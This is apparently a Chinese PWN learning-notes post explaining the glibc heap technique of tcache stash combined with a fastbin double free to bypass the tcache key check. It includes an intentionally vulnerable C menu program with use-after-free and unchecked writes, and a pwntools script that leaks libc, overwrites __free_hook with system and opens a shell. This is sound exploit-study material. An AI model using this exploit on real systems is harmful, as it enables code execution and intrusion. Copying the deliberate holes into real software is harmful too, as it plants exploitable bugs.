【我的 PWN 学习手札】tcache stash with fastbin double free —— tcache key 绕过

参考看雪课程：PWN 探索篇

---

前言

tcache key 的引入使得 tcache dup 利用出现了困难。除了简单利用 UAF 覆写 key 或者House Of Karui 之外，还可以利用 ptmalloc 中的其他机制进行绕过。

---

一、Tcache Stash with Fastbin Double Free

之前是 double free 后，chunk 被放入不同的 tcachebin 中来绕过检查。这里则是借助 fastbin 以及 tcache stash 机制实现利用。具体过程如下：

通过多次释放同样大小的堆块，能在内存中实现下述布局

其中 fastbin 中的 chunk8 经过了double free（fastbin 的 double free 检查仅校验释放的 chunk 和 bin 头部的 chunk 是否一致） 

当我们申请七次清空 tcachebin 时：

当再一次申请该大小的 chunk 会发生什么？这个过程有些绕，让我们慢慢理解。

首先，fastbin 头部的 chunk 被取下来。这里的取下来仅仅是指 fastbin 返回头部 chunk 然后指向下一个 chunk，而且别忘了，取出的 chunk 的值未改变，因此指针还存在：

然后会无缝地进行 tcache stash —— 将 fastbin 中的 chunk 填充到 tcachebin 中，首先头部的 chunk9 进入 tcachebin

然后轮到 chunk8 进入 tcachebin

然后又是 chunk9 进入 tcachebin

接下来你可能会认为，将 chunk9 申请出来修改其 next 即可实现 tcache poisoning，然而这种较高版本 tcache 的 count 数组被用于检查 tcache 是否为空。即上图目前 tcache 记录有 3 个chunk，即使 chunk9 的 next 被修改，也无法更多的申请出 poisoning 的堆块。

不过注意已经取出的合法 chunk 们，可以发现，chunk8已经被我们取出，因此我们直接修改chunk8 的 next 指针，即可实现 tcache poisoning。

二、测试与模板

#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>char *chunk_list[0x100];void menu() {puts("1. add chunk");puts("2. delete chunk");puts("3. edit chunk");puts("4. show chunk");puts("5. exit");puts("choice:");
}int get_num() {char buf[0x10];read(0, buf, sizeof(buf));return atoi(buf);
}void add_chunk() {puts("index:");int index = get_num();puts("size:");int size = get_num();chunk_list[index] = malloc(size);
}void delete_chunk() {puts("index:");int index = get_num();free(chunk_list[index]);
}void edit_chunk() {puts("index:");int index = get_num();puts("length:");int length = get_num();puts("content:");read(0, chunk_list[index], length);
}void show_chunk() {puts("index:");int index = get_num();puts(chunk_list[index]);
}int main() {setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);while (1) {menu();switch (get_num()) {case 1:add_chunk();break;case 2:delete_chunk();break;case 3:edit_chunk();break;case 4:show_chunk();break;case 5:exit(0);default:puts("invalid choice.");}}
}

 

from pwn import *
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
context.arch=elf.arch
context.log_level='debug'io=process('./pwn')
def add(index,size):io.sendlineafter(b'choice:\n',b'1')io.sendlineafter(b'index:\n',str(index).encode())io.sendlineafter(b'size:\n',str(size).encode())
def delete(index):io.sendlineafter(b'choice:\n',b'2')io.sendlineafter(b'index:\n',str(index).encode())
def edit(index,length,content):io.sendlineafter(b'choice:\n',b'3')io.sendlineafter(b'index',str(index).encode())io.sendlineafter(b'length:\n',str(length).encode())io.sendafter(b'content:\n',content)
def show(index):io.sendlineafter(b'choice:\n',b'4')io.sendlineafter(b'index:\n',str(index).encode())gdb.attach(io)
# leak libc
add(0,0x410)
add(1,0x10)
delete(0)
show(0)
libc_base=u64(io.recv(6).ljust(8,b'\x00'))-0x7591b55b6be0+0x7591b5200000
libc.address=libc_base
success(hex(libc_base))
add(0,0x410)# tcache stash with fastbin attach
for i in range(9): add(i,0x20)
for i in range(2,9): delete(i)
delete(0)
delete(1)
delete(0)for i in range(2,9): add(i,0x20)
add(2,0x20)
pause()
edit(2,0x8,p64(libc.sym['__free_hook']))
pause()
add(0,0x20)
add(0,0x20)
add(0,0x20)
edit(0,0x8,p64(libc.sym['system']))
pause()
edit(3,0x8,b'/bin/sh\x00')
pause()
delete(3)
io.interactive()